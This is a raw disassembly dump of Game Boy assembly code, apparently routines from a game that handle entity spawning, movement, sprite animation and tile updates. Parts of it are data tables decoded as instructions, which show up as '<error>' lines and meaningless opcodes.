call func_3c3b call func_7965 call func_79d1 ldh a, [$ff00 + $f0] rst 0 jr z, 0.l_6288 ld b, a ld h, d call func_3bca ld hl, $c2a0 add hl, bc ld a, [hl] and a jr z, 0.l_6242 call func_3b8d ld hl, $c250 add hl, bc ld [hl], $e0 ld hl, $c3b0 add hl, bc inc [hl] inc [hl] ld hl, $c250 add hl, bc dec [hl] ldh a, [$ff00 + $ee] cp $a8 jp nc, $7a6b ret call func_0891 ld [hl], $40 ld hl, $c3b0 add hl, bc ld [hl], $ff ld hl, $c360 add hl, bc ld [hl], $ff ret call func_380e call func_3f12 ld hl, $c2b0 add hl, bc ld a, [hl] and a jr z, 0.l_627c cp $01 jp z, .l_66cf cp $02 jp z, .l_66f2 jp .l_6746 call func_665a ldh a, [$ff00 + $ea] cp $01 jr nz, 0.l_62c4 ld hl, $c2c0 add hl, bc ld a, [hl] rst 0 adc a, a ld h, d sbc a, d ld h, d call func_0891 ld [hl], $ff ld hl, $c2c0 add hl, bc inc [hl] ret call func_0891 jp z, .l_62ad ld hl, $c420 add hl, bc ld [hl], a cp $80 jr nc, 0.l_62ac call func_7476 ret call func_74ad ld hl, $c200 add hl, de ldh a, [$ff00 + $98] ld [hl], a ld hl, $c210 add hl, de ld [hl], $70 ld hl, $c310 add hl, de ld [hl], $70 ret call func_7965 call func_08e2 ldh a, [$ff00 + $f0] rst 0 rst 30 ld h, d inc a ld h, e rst 18 ld h, e adc a, b ld h, h adc a, $64 jr z, 0.l_6311 ld e, b ld l, b jr z, 0.l_6315 ld e, b ld l, b jr c, 0.l_6311 jr nc, 0.l_631b ld d, b ld e, b ld e, b ld d, b stop stop ldh a, [$ff00 + $f0] stop stop ldh a, [$ff00 + $f0] <error> inc bc inc bc <error> inc bc <error> <error> inc bc call func_0891 jr nz, 0.l_633b call func_27ed and $07 ld e, a ld d, b ld hl, $62d7 add hl, de ld a, [hl] ld hl, $c200 add hl, bc ld [hl], a ld hl, $62df add hl, de ld a, [hl] ld hl, $c210 add hl, bc ld [hl], a ld hl, $62e7 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $62ef add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a ld hl, $c320 add hl, bc ld [hl], $18 ld a, $16 ldh [$ff00 + $f3], a call func_652e call func_3b8d ret ld hl, $c240 add hl, bc ld a, [hl] and a jr z, 0.l_6395 ld hl, $c420 add hl, bc ld a, [hl] cp $0b jr c, 0.l_6395 ld hl, $c3d0 add hl, bc ld a, [hl] cp $05 jr nc, 0.l_6394 call func_3b8d call func_0891 ld [hl], $40 ld hl, $c240 add hl, bc ld [hl], $18 ld hl, $c250 add hl, bc ld [hl], $18 ld hl, $c320 add hl, bc ld [hl], b call func_0887 ld [hl], $40 ldh a, [$ff00 + $ee] add a, $f8 ldh [$ff00 + $d7], a call func_6383 ldh a, [$ff00 + $ee] add a, $08 ldh [$ff00 + $d7], a ldh a, [$ff00 + $ec] sub a, $10 ldh [$ff00 + $d8], a ld a, $02 call func_0953 ld hl, $c520 add hl, de ld [hl], $0f ret call func_79d1 call func_7a0a ld hl, $c320 add hl, bc dec [hl] ld hl, $c310 add hl, bc ld a, [hl] and $80 jr z, 0.l_63c2 ld [hl], b call func_0891 ld [hl], $40 call func_3b8d ld [hl], b call func_6566 call func_652e ld a, $32 ldh [$ff00 + $f2], a ld a, $ff jp $3b87 ld hl, $c3d0 add hl, bc ld a, [hl] cp $05 jp nc, .l_64c1 ld hl, $c240 add hl, bc ld a, [hl] and a jr z, 0.l_63de ldh a, [$ff00 + $e7] rr a rr a rr a and $01 jp $3b87 ret ld a, $02 call func_3b87 call func_0891 jr z, 0.l_6400 and $02 ld e, $08 jr z, 0.l_63f1 ld e, $f8 ld hl, $c240 add hl, bc push hl ld a, [hl] push af ld [hl], e call func_79de pop af pop hl ld [hl], a ret call func_3bb4 call func_0887 jr nz, 0.l_641d ldh a, [$ff00 + $ee] cp $70 jr nc, 0.l_641d ldh a, [$ff00 + $ec] cp $50 jr nc, 0.l_641d call func_3daf call func_3b8d ld [hl], $01 ret ld hl, $c420 add hl, bc ld a, [hl] cp $08 jr nz, 0.l_6448 ldh a, [$ff00 + $ee] cp $70 jr nc, 0.l_6448 ldh a, [$ff00 + $ec] cp $50 jr nc, 0.l_6448 ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] cp $05 jr c, 0.l_6448 call func_3b8d call func_3daf call func_0891 ld [hl], $80 ret ld hl, $c420 add hl, bc ld a, [hl] cp $0b jr nc, 0.l_6487 call func_79d1 call func_3b9e ld hl, $c2a0 add hl, bc ld a, [hl] push af and $03 jr z, 0.l_6467 ld hl, $c240 call func_646f pop af and $0c jr z, 0.l_6474 ld hl, $c250 add hl, bc ld a, [hl] cpl inc a ld [hl], a ldh a, [$ff00 + $e7] and $07 jr nz, 0.l_6487 ldh a, [$ff00 + $ee] ldh [$ff00 + $d7], a ldh a, [$ff00 + $ec] ldh [$ff00 + $d8], a ld a, $0a call func_0953 ret call func_0891 cp $40 jr c, 0.l_64af jr nz, 0.l_6498 ld a, $29 ldh [$ff00 + $f4], a call func_64d4 and $02 ld e, $10 jr z, 0.l_64a0 ld e, $f0 ld hl, $c240 add hl, bc push hl ld a, [hl] push af ld [hl], e call func_79de pop af pop hl ld [hl], a ret and a jr nz, 0.l_64c1 call func_3b8d ld [hl], $01 call func_3daf ld hl, $c360 add hl, bc ld [hl], $08 ret ldh a, [$ff00 + $e7] rr a rr a rr a and $01 add a, $03 call func_3b87 ret ret ret ldhl sp, d ld [$08f8], sp ld a, $02 ldh [$ff00 + $e8], a ld a, $62 call func_3c01 jr c, 0.l_6528 ld hl, $c2b0 add hl, de ld [hl], $03 push bc ldh a, [$ff00 + $e8] ld c, a ld hl, $64cf add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ldh a, [$ff00 + $da] ld hl, $c310 add hl, de ld [hl], a ld hl, $c3b0 add hl, de ldh a, [$ff00 + $e8] dec a ld [hl], a ld hl, $64d1 add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a ld hl, $c250 add hl, de ld [hl], $04 pop bc ld hl, $c320 add hl, de ld [hl], $08 ld hl, $c340 add hl, de ld [hl], $42 ldh a, [$ff00 + $e8] dec a jr nz, 0.l_64d6 ret ld a, $62 call func_3c01 jr c, 0.l_6555 ld hl, $c2b0 add hl, de ld [hl], $01 ldh a, [$ff00 + $d7] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ld hl, $c2e0 add hl, de ld [hl], $14 ld hl, $c340 add hl, de ld [hl], $c4 ret ldhl sp, d ld [$08f8], sp <error> <error> inc b inc b <error> inc c <error> inc c <error> <error> inc c inc c ld a, $04 ldh [$ff00 + $e8], a ld a, $62 call func_3c01 jr c, 0.l_65b4 ld hl, $c2b0 add hl, de ld [hl], $02 push bc ldh a, [$ff00 + $e8] ld c, a ld hl, $6555 add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $6559 add hl, bc ldh a, [$ff00 + $d8] add a, [hl] ld hl, $c210 add hl, de ld [hl], a ld hl, $655d add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a ld hl, $6561 add hl, bc ld a, [hl] ld hl, $c250 add hl, de ld [hl], a pop bc ld hl, $c320 add hl, de ld [hl], $13 ld hl, $c340 add hl, de ld [hl], $42 ldh a, [$ff00 + $e8] dec a jr nz, 0.l_6568 ret ldh a, [$ff00 + $f8] ld h, b nop ldh a, [$ff00 + $00] ld h, d nop ldh a, [$ff00 + $08] ld h, h nop ldh a, [$ff00 + $10] ld h, [hl] nop nop ldhl sp, d ld l, b nop nop nop ld l, d nop nop ld [$206a], sp nop stop ld l, b jr nz, 0.l_65cb ldhl sp, d ld h, [hl] jr nz, 0.l_65cf nop ld h, h jr nz, 0.l_65d3 ld [$2062], sp ldh a, [$ff00 + $10] ld h, b jr nz, 0.l_65eb ldhl sp, d ld l, b nop nop nop ld l, d nop nop ld [$206a], sp nop stop ld l, b jr nz, 0.l_65fb ldhl sp, d ld l, h nop nop nop ld l, [hl] nop nop ld [$206e], sp nop stop ld l, h jr nz, 0.l_660b <error> ld a, h nop nop inc b ld a, [hl] nop nop inc c ld a, h jr nz, 0.l_6617 nop rst 38 nop nop <error> ld a, h nop nop inc b ld a, [hl] jr nz, 0.l_6623 inc c ld a, h jr nz, 0.l_6627 nop rst 38 nop nop ldhl sp, d ld [hl], h nop nop nop halt nop nop ld [$2076], sp nop stop ld [hl], h jr nz, 0.l_663b ldhl sp, d ld [hl], b nop nop nop ld [hl], d nop nop ld [$2072], sp nop stop ld [hl], b jr nz, 0.l_6655 ei ld h, $00 ld a, [bc] ld bc, $0026 ld a, [bc] ld b, $26 nop ld a, [bc] inc c ld h, $00 ldh a, [$ff00 + $f1] cp $02 jr nc, $166ac ld hl, $c340 add hl, bc ld a, [hl] and $f0 or $08 ld [hl], a ldh a, [$ff00 + $f1] rl a rl a rl a rl a rl a and $e0 ld e, a ld d, b ld hl, $65ba add hl, de ld c, $08 call func_3d26 nop ldh a, [$ff00 + $f1] cp $05 jr nc, 0.l_66ab ld hl, $c310 add hl, bc ld a, [hl] dec a cp $08 jr c, 0.l_66ab ld hl, $c340 add hl, bc ld a, [hl] and $f0 or $04 ld [hl], a ldh a, [$ff00 + $ef] ldh [$ff00 + $ec], a xor a ldh [$ff00 + $f1], a ld hl, $664a ld c, $04 call func_3d26 call func_3dba ret ld hl, $c340 add hl, bc ld a, [hl] and $f0 or $04 ld [hl], a ldh a, [$ff00 + $f1] dec a dec a rl a rl a rl a rl a and $f0 ld e, a ld d, b ld hl, $65fa add hl, de ld c, $04 call func_3d26 call func_667f ret call func_0891 jp z, $7a6b cp $0a ld a, $05 jr c, 0.l_66dc inc a ldh [$ff00 + $f1], a call func_66ac ret ld e, $00 ld e, $60 ld e, $40 ld e, $20 ld a, d nop ld a, d jr nz, 0.l_6767 nop ld a, b jr nz, 0.l_6704 ldh [c], a ld h, [hl] call func_3c3b call func_7965 call func_3bbf ldh a, [$ff00 + $f0] rst 0 dec b ld h, a dec l ld h, a call func_79d1 call func_7a0a ld hl, $c320 add hl, bc dec [hl] ld hl, $c310 add hl, bc ld a, [hl] and $80 jr z, 0.l_6722 ld [hl], b call func_3b8d call func_0891 ld [hl], $0f ldh a, [$ff00 + $e7] rr a rr a rr a and $01 call func_3b87 ret call func_0891 jp z, $7a6b rr a rr a rr a and $01 inc a inc a call func_3b87 ret ld l, h nop ld l, [hl] nop ld l, [hl] jr nz, 0.l_67b1 jr nz, 0.l_6758 ld a, $67 call func_3c3b call func_7965 call func_79d1 call func_7a0a ld hl, $c320 add hl, bc dec [hl] ld hl, $c310 add hl, bc ld a, [hl] and $80 jr z, 0.l_6775 xor a ld [hl], a call func_0891 ld [hl], $0f ld hl, $c2b0 add hl, bc ld [hl], $02 ld a, $ff call func_3b87 ret ld hl, $c460 add hl, bc ld e, [hl] sla e sla e sla e sla e sla e sla e ld d, b ld hl, $d000 add hl, de push de ld e, $20 xor a ldi [hl], a dec e ld a, e cp $00 jr nz, 0.l_678f pop de ld hl, $d100 add hl, de ld e, $20 xor a ldi [hl], a dec e ld a, e cp $00 jr nz, 0.l_679e ld hl, $c250 add hl, bc ld [hl], $06 call func_0891 ld [hl], $40 call func_088c ld [hl], $40 ld hl, $c3b0 add hl, bc ld [hl], $03 ret ld b, $fa nop nop nop nop ld a, [$0206] ld bc, $0100 ld hl, $2322 ldi [hl], a ldh a, [$ff00 + $f7] cp $07 jr nz, 0.l_67d7 ld a, $10 ldh [$ff00 + $f5], a call func_699a call func_7965 call func_3f12 call func_08e2 call func_3bb4 ldh a, [$ff00 + $f0] rst 0 rst 28 ld h, a or l ld l, b rrc a ld l, c call func_0891 jr nz, 0.l_67f9 ld [hl], $00 call func_3b8d ld hl, $c3d0 add hl, bc ld a, [hl] inc a and $3f ld [hl], a ldh [$ff00 + $d7], a rr a rr a nop and $03 ld e, a ld d, $00 ld hl, $67c5 add hl, de ld a, [hl] ld hl, $c2b0 add hl, bc ld [hl], a ld hl, $67c9 add hl, de ld a, [hl] ld hl, $c2c0 add hl, bc ld [hl], a ld hl, $c460 add hl, bc ld e, [hl] sla e sla e sla e sla e sla e sla e ld d, $00 push de ld hl, $d000 add hl, de ldh a, [$ff00 + $d7] ld e, a add hl, de ldh a, [$ff00 + $ee] ld [hl], a pop de ld hl, $d100 add hl, de ldh a, [$ff00 + $d7] ld e, a add hl, de ldh a, [$ff00 + $ec] ld [hl], a call func_79d1 call func_3b9e ld e, $0f ld d, b ld hl, $c280 add hl, de ld a, [hl] cp $05 jr nz, 0.l_68b1 ld hl, $c3a0 add hl, de ld a, [hl] cp $02 jr nz, 0.l_68b1 ld hl, $c2e0 add hl, de ld a, [hl] cp $38 jr c, 0.l_68b1 ld hl, $c200 add hl, de ldh a, [$ff00 + $ee] sub a, [hl] add a, $06 cp $0c jr nc, 0.l_68b1 ld hl, $c210 add hl, de ldh a, [$ff00 + $ec] sub a, [hl] add a, $06 cp $0c jr nc, 0.l_68b1 ld hl, $c310 add hl, de ld a, [hl] and a jr nz, 0.l_68b1 ld hl, $c280 add hl, de ld [hl], b call func_3b8d ld [hl], $02 ld hl, $c300 add hl, bc ld [hl], $60 ld hl, $c420 add hl, bc ld [hl], $0c ld hl, $c440 add hl, bc inc [hl] ld a, $2a ldh [$ff00 + $f2], a ret dec e jr nz, 0.l_6854 ret call func_0891 jr nz, 0.l_68fe call func_27ed and $1f add a, $40 ld [hl], a call func_3b8d ld [hl], b ld hl, $c2d0 add hl, bc ld a, [hl] inc a and $03 ld [hl], a jr nz, 0.l_68d6 call func_7a44 jr 0.l_68dc call func_27ed and $03 ld e, a ld hl, $fff1 xor [hl] and $02 jr z, 0.l_68d6 ld d, b ld hl, $c3b0 add hl, bc ld [hl], e ld hl, $67bd add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $67c1 add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a ret di dec c nop nop nop nop dec c di inc c <error> nop nop nop nop <error> inc c ld hl, $c300 add hl, bc ld a, [hl] and a jr nz, 0.l_6922 call func_0891 ld [hl], $30 call func_3b8d ld [hl], $01 ret cp $24 jr nz, 0.l_6929 call func_08d7 cp $04 jr nz, 0.l_6949 ldh a, [$ff00 + $f1] ld e, a ld d, b ld hl, $6907 add hl, de ldh a, [$ff00 + $ee] add a, [hl] ldh [$ff00 + $d7], a ld hl, $690b add hl, de ldh a, [$ff00 + $ec] add a, [hl] ldh [$ff00 + $d8], a ld a, $02 call func_0953 xor a cp $20 jr nz, 0.l_6985 ld hl, $c440 add hl, bc ld a, [hl] cp $03 jr nz, 0.l_6985 ld a, $02 call func_3c01 jr c, 0.l_6985 ld hl, $c2e0 add hl, de ld [hl], $17 push bc ld hl, $c3b0 add hl, bc ld c, [hl] ld hl, $68ff add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $6903 add hl, bc ldh a, [$ff00 + $d8] add a, [hl] ld hl, $c210 add hl, de ld [hl], a pop bc call func_7dc0 ret ld h, [hl] jr nz, 0.l_69ed jr nz, 0.l_69ef nop ld h, [hl] nop ld h, d nop ld h, d jr nz, 0.l_69f3 nop ld h, b jr nz, 0.l_69ff nop ld l, b jr nz, 0.l_6968 adc a, h ld [$2421], sp pop bc or [hl] ld hl, $c300 add hl, bc or [hl] jp nz, .l_6bda ldh a, [$ff00 + $f1] cp $02 jr nz, 0.l_69b8 call func_6a08 call func_69c1 jp $3dba call func_69c1 call func_6a08 jp $3dba ld hl, $c3d0 add hl, bc ld a, [hl] ldh [$ff00 + $d7], a push bc ld hl, $c460 add hl, bc ld e, [hl] ld hl, $c2b0 add hl, bc ld c, [hl] sla e sla e sla e sla e sla e sla e ld d, b push de ld hl, $d000 add hl, de ldh a, [$ff00 + $d7] sub a, c and $3f ld e, a ld d, b add hl, de ld a, [hl] ldh [$ff00 + $ee], a pop de ld hl, $d100 add hl, de ldh a, [$ff00 + $d7] sub a, c and $3f ld e, a ld d, b add hl, de ld a, [hl] ldh [$ff00 + $ec], a pop bc ld de, $6986 call func_3c3b ret ld hl, $c3d0 add hl, bc ld a, [hl] ldh [$ff00 + $d7], a push bc ld hl, $c460 add hl, bc ld e, [hl] ld hl, $c2c0 add hl, bc ld c, [hl] sla e sla e sla e sla e sla e sla e ld d, b push de ld hl, $d000 add hl, de ldh a, [$ff00 + $d7] sub a, c and $3f ld e, a ld d, b add hl, de ld a, [hl] ldh [$ff00 + $ee], a pop de ld hl, $d100 add hl, de ldh a, [$ff00 + $d7] sub a, c and $3f ld e, a ld d, b add hl, de ld a, [hl] ldh [$ff00 + $ec], a pop bc ld a, $04 ldh [$ff00 + $f1], a ld de, $6986 call func_3c3b ld hl, $c3b0 add hl, bc ld a, [hl] ldh [$ff00 + $f1], a ret nop nop ld h, [hl] jr nz, 0.l_6a5f ld [$2064], sp nop di ld l, b nop nop ei ld l, b jr nz, 0.l_6a6b nop ld h, h nop nop ld [$0066], sp nop dec c ld l, b nop nop dec d ld l, b jr nz, 0.l_6a7b nop ld h, d nop nop ld [$2062], sp dec c nop ld l, b nop dec c ld [$2068], sp nop nop ld h, b nop nop ld [$2060], sp di nop ld l, b nop di ld [$2068], sp nop inc b ld h, [hl] jr nz, 0.l_6a9f inc c ld h, h jr nz, 0.l_6a9b <error> ld l, h nop ldhl sp, d <error> ld l, d nop ldhl sp, d <error> ld l, d jr nz, 0.l_6aa7 inc b ld l, h jr nz, 0.l_6abb <error> ld l, h ld b, b ld [$6ef4], sp ld b, b ld [$6efc], sp ld h, b ld [$6c04], sp ld h, b nop <error> ld h, h nop nop inc b ld h, [hl] nop ldhl sp, d inc b ld l, h nop ldhl sp, d inc c ld l, d nop ldhl sp, d inc d ld l, d jr nz, 0.l_6acf inc e ld l, h jr nz, 0.l_6ae3 inc b ld l, h ld b, b ld [$6e0c], sp ld b, b ld [$6e14], sp ld h, b ld [$6c1c], sp ld h, b inc b ldhl sp, d ld l, h nop inc b nop ld l, d nop inc b ld [$206a], sp inc b stop ld l, h jr nz, 0.l_6b0f ldhl sp, d ld l, h ld b, b inc d nop ld l, [hl] ld b, b inc d ld [$606e], sp inc d stop ld l, h ld h, b <error> nop ld h, d nop <error> ld [$2062], sp inc b nop ld h, b nop inc b ld [$2060], sp <error> ldhl sp, d ld l, h nop <error> nop ld l, d nop <error> ld [$206a], sp <error> stop ld l, h jr nz, 0.l_6b27 ldhl sp, d ld l, h ld b, b <error> nop ld l, [hl] ld b, b <error> ld [$606e], sp <error> stop ld l, h ld h, b nop ld [bc], a ld h, [hl] jr nz, 0.l_6b3f ld a, [bc] ld h, h jr nz, 0.l_6b3e rst 28 ld l, h nop ei rst 30 ld l, [hl] nop ei ld sp, hl ld l, [hl] jr nz, 0.l_6b4a ld bc, $206c dec b rst 28 ld l, h ld b, b dec b rst 30 ld l, [hl] ld b, b dec b ld sp, hl ld l, [hl] ld h, b dec b ld bc, $606c nop cp $64 nop nop ld [bc], a ld h, [hl] nop ei rlc a ld l, h nop ei rrc a ld l, [hl] nop ei ld de, $206e ei add hl, de ld l, h jr nz, 0.l_6b80 rlc a ld l, h ld b, b dec b rrc a ld l, [hl] ld b, b dec b ld de, $606e dec b add hl, de ld l, h ld h, b rlc a ei ld l, h nop rlc a inc bc ld l, [hl] nop rlc a dec b ld l, [hl] jr nz, 0.l_6b9e dec c ld l, h jr nz, 0.l_6bac ei ld l, h ld b, b ld de, $6e03 ld b, b ld de, $6e05 ld h, b ld de, $6c0d ld h, b cp $00 ld h, d nop cp $08 ld h, d jr nz, 0.l_6bb5 nop ld h, b nop ld [bc], a ld [$2060], sp rst 28 ei ld l, h nop rst 28 inc bc ld l, [hl] nop rst 28 dec b ld l, [hl] jr nz, 0.l_6bb6 dec c ld l, h jr nz, 0.l_6bc4 ei ld l, h ld b, b ld sp, hl inc bc ld l, [hl] ld b, b ld sp, hl dec b ld l, [hl] ld h, b ld sp, hl dec c ld l, h ld h, b ld hl, $c300 add hl, bc ld a, [hl] cp $08 jr c, 0.l_6c12 cp $28 jr nc, 0.l_6c12 ld hl, $6b3a cp $0e jr c, 0.l_6bf5 cp $22 jr nc, 0.l_6bf5 ld hl, $6a9a ldh a, [$ff00 + $f1] ld e, a ld d, b sla e sla e sla e ld a, e sla e sla e add a, e ld e, a add hl, de ld c, $0a call func_3d26 ld a, $08 call func_3dd0 ret ldh a, [$ff00 + $f1] rl a rl a rl a rl a and $f0 ld e, a ld d, b ld hl, $6a5a add hl, de ld c, $04 call func_3d26 ld a, $02 call func_3dd0 ret call func_0891 ld [hl], $80 xor a ld [$d200], a ld [$d203], a ld [$d204], a ld hl, $c390 add hl, bc ld [hl], $01 ret call func_380e call func_3f12 call func_08e2 ld hl, $c2b0 add hl, bc ld a, [hl] rst 0 ld d, [hl] ld l, h rlc a ld [hl], d ld sp, hl ld [hl], h ld a, c ld [$d201], a ldh a, [$ff00 + $f0] rst 0 ld h, l ld l, h xor c ld l, h sub a, l ld l, l dec bc ld [hl], b call func_0891 jr nz, 0.l_6c80 ld [hl], $80 ld a, $ff ld [$c157], a ld a, $3e ldh [$ff00 + $f4], a ld [$d3e8], a ld a, $04 ld [$c158], a call func_3b8d ret jr nz, 0.l_6ce3 jr nz, 0.l_6ce5 nop nop ld [hl], b ld [hl], b ld [$0808], sp ld [$0b09], sp dec bc ld a, [bc] ld [$0808], sp ld [$0b09], sp dec bc ld a, [bc] dec b rlc a rlc a ld b, $04 inc b inc b inc b dec b rlc a rlc a ld b, $04 inc b inc b inc b ld a, $38 ldh [$ff00 + $ce], a add a, $10 ld hl, $c200 add hl, bc ld [hl], a ld a, $30 ldh [$ff00 + $cd], a add a, $18 ld hl, $c210 add hl, bc ld [hl], a call func_0891 jp nz, .l_6d48 ld [hl], $ff xor a ld [$d3e8], a call func_3b8d ld a, $af ld [$d745], a ld a, $af ld [$d746], a ld a, $b0 ld [$d755], a ld a, $b0 ld [$d756], a call func_088c ld [hl], $1f call func_0887 ld [hl], $b0 call func_3e64 ld hl, $c280 add hl, bc ld [hl], $05 ld hl, $c200 add hl, bc ld a, [hl] add a, $10 ld [hl], a call func_3e64 ld hl, $c280 add hl, bc ld [hl], $05 call func_3e64 call func_08d7 ld hl, $c280 add hl, bc ld [hl], $05 call func_2839 ld a, [$d600] ld e, a ld d, $00 ld hl, $d601 add hl, de add a, $1c ld [$d600], a call func_6d2d call func_6d2d call func_6d2d ldh a, [$ff00 + $cf] ldi [hl], a ldh a, [$ff00 + $d0] inc a ldh [$ff00 + $d0], a ldi [hl], a ld a, $83 ldi [hl], a ld a, $76 ldi [hl], a ld a, $7e ldi [hl], a ld a, $7e ldi [hl], a ld a, $77 ldi [hl], a xor a ld [hl], a ret cp $40 jp nz, .l_6d94 call func_2839 ld a, [$d600] ld e, a ld d, $00 ld hl, $d601 add hl, de add a, $1c ld [$d600], a call func_6d62 ldh a, [$ff00 + $cf] ldi [hl], a ldh a, [$ff00 + $d0] inc a ldh [$ff00 + $d0], a ldi [hl], a ld a, $83 ldi [hl], a ld a, $1c ldi [hl], a ld a, $1e ldi [hl], a ld a, $1c ldi [hl], a ld a, $1e ldi [hl], a ldh a, [$ff00 + $cf] ldi [hl], a ldh a, [$ff00 + $d0] inc a ldh [$ff00 + $d0], a ldi [hl], a ld a, $83 ldi [hl], a ld a, $1d ldi [hl], a ld a, $1f ldi [hl], a ld a, $1d ldi [hl], a ld a, $1f ldi [hl], a xor a ld [hl], a ret ld hl, $c200 add hl, bc ld a, [hl] push af ld hl, $c210 add hl, bc ld a, [hl] push af call func_700b pop af ld hl, $c210 add hl, bc ld [hl], a pop af ld hl, $c200 add hl, bc ld [hl], a call func_3dba call func_0891 jr nz, 0.l_6dbc call func_3b8d ret cp $98 jr z, 0.l_6dcd cp $68 jr z, 0.l_6dcd cp $38 jr z, 0.l_6dcd cp $08 jp nz, .l_6ea8 ld hl, $c3d0 add hl, bc ld a, [hl] cp $04 jp z, .l_6ea8 inc [hl] ld e, a ld d, b ld hl, $6c81 add hl, de ld a, [hl] ldh [$ff00 + $ce], a ld hl, $6c85 add hl, de ld a, [hl] ldh [$ff00 + $cd], a sla e sla e sla e ld hl, $6c89 add hl, de push hl call func_2839 ld a, [$d600] ld e, a ld d, $00 ld hl, $d601 add hl, de add a, $0e ld [$d600], a pop de ldh a, [$ff00 + $cf] ldi [hl], a ldh a, [$ff00 + $d0] ldi [hl], a ld a, $03 ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ldh a, [$ff00 + $cf] ldi [hl], a ldh a, [$ff00 + $d0] add a, $20 ldi [hl], a ld a, $03 ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] ldi [hl], a xor a ld [hl], a ld a, $d5 ld [$d713], a ld [$d717], a ld a, $d6 ld [$d714], a ld [$d718], a ld a, $d7 ld [$d783], a ld [$d787], a ld a, $d8 ld [$d784], a ld [$d788], a ld a, $5d call func_3c01 ld hl, $c2b0 add hl, de ld [hl], $01 ld hl, $c200 add hl, de ldh a, [$ff00 + $ce] add a, $10 ld [hl], a ld hl, $c200 add hl, bc ld [hl], a ld hl, $c210 add hl, de ldh a, [$ff00 + $cd] add a, $10 ld [hl], a ld hl, $c210 add hl, bc add a, $08 ld [hl], a ld hl, $c2e0 add hl, de ld [hl], $2f ld hl, $c3d0 add hl, bc ld a, [hl] cp $03 ld a, $00 jr c, 0.l_6e97 ld hl, $c210 add hl, bc ld a, [hl] sub a, $08 ld [hl], a ld a, $01 ld hl, $c380 add hl, de ld [hl], a call func_3e64 ld hl, $c280 add hl, bc ld [hl], $05 call func_08d7 ret ret nc pop de call nc, func_dfd9 and $ee rst 30 nop add hl, bc ld [de], a ld a, [de] ld hl, $2c27 cpl jr nc, 0.l_6eea inc l daa ld hl, $121a add hl, bc nop rst 30 xor $e6 rst 18 reti call nc, func_d0d1 pop de call nc, func_dfd9 and $ee rst 30 jp c, .l_dddb pop hl and $eb <error> ld sp, hl nop rlc a ld c, $15 ld a, [de] rr a inc hl dec h ld h, $25 inc hl rr a ld a, [de] dec d ld c, $07 nop ld sp, hl <error> <error> and $e1 <error> <error> jp c, .l_dddb pop hl and $eb <error> ld sp, hl <error> push hl rst 20 jp [hl] <error> pop af or $fb nop dec b ld a, [bc] rrc a inc de rl a add hl, de dec de inc e dec de add hl, de rl a inc de rrc a ld a, [bc] dec b nop ei or $f1 <error> jp [hl] rst 20 push hl <error> push hl rst 20 jp [hl] <error> pop af or $fb xor $ef ldh a, [$ff00 + $f2] <error> or $fa <error> nop inc bc ld b, $0a inc c ld c, $10 ld de, $1112 stop ld c, $0c ld a, [bc] ld b, $03 nop <error> ld a, [$f4f6] <error> ldh a, [$ff00 + $ef] xor $ef ldh a, [$ff00 + $f2] <error> or $fa <error> ldhl sp, d ld sp, hl ld a, [$fbfb] <error> <error> rst 38 nop ld bc, $0403 dec b dec b ld b, $07 ld [$0607], sp dec b dec b inc b inc bc ld bc, $ff00 <error> <error> ei ei ld a, [$f8f9] ld sp, hl ld a, [$fbfb] <error> <error> rst 38 nop nop ld bc, $0302 inc b inc b inc b inc b inc b inc b inc bc ld [bc], a ld bc, $0000 nop nop rst 38 cp $fd <error> <error> <error> <error> <error> <error> <error> cp $ff nop nop nop nop ld bc, $0201 ld [bc], a inc bc inc bc inc bc inc bc inc bc ld [bc], a ld [bc], a ld bc, $0001 nop nop rst 38 rst 38 cp $fe <error> <error> <error> <error> <error> cp $fe rst 38 rst 38 nop nop nop ld bc, $0101 ld [bc], a ld [bc], a ld [bc], a ld [bc], a ld [bc], a ld [bc], a ld [bc], a ld bc, $0101 nop nop nop rst 38 rst 38 rst 38 cp $fe cp $fe cp $fe cp $ff rst 38 rst 38 nop nop nop ld bc, $0101 ld bc, $0101 ld bc, $0101 ld bc, $0101 nop nop nop nop rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop nop ld c, c ld l, a ld hl, $f96f ld l, [hl] pop de ld l, [hl] xor c ld l, [hl] inc b inc bc ld [bc], a ld bc, $7030 jr nc, 0.l_7073 stop stop add a, b add a, b nop nop ld bc, $cd01 add a, a ld [$00fa], sp jp nc, .l_28a7 ld [bc], a ld [hl], $20 ld a, [hl] and a jr nz, 0.l_7071 ld [hl], $2c ld a, $5d call func_3c01 jr c, 0.l_7071 ld hl, $c360 add hl, de ld [hl], $ff ld hl, $c3b0 add hl, de ld [hl], $ff ld hl, $c2b0 add hl, de ld [hl], $01 ld hl, $c290 add hl, de ld [hl], $01 push bc call func_27ed and $03 ld c, a ld hl, $6fff add hl, bc ld a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $c2c0 add hl, de ld [hl], a ld hl, $7003 add hl, bc ld a, [hl] ld hl, $c210 add hl, de ld [hl], a ld hl, $c2d0 add hl, de ld [hl], a ld hl, $c2e0 add hl, de ld [hl], $5f ld hl, $7007 add hl, bc ld a, [hl] ld hl, $c380 add hl, de ld [hl], a pop bc call func_088c jr z, 0.l_7087 rr a rr a rr a and $03 ld e, a ld d, b ld hl, $6ffb add hl, de ld a, [hl] ld hl, $c2d0 add hl, bc ld [hl], a ld hl, $c440 add hl, bc ld a, [hl] and $07 ld hl, $d200 or [hl] jr 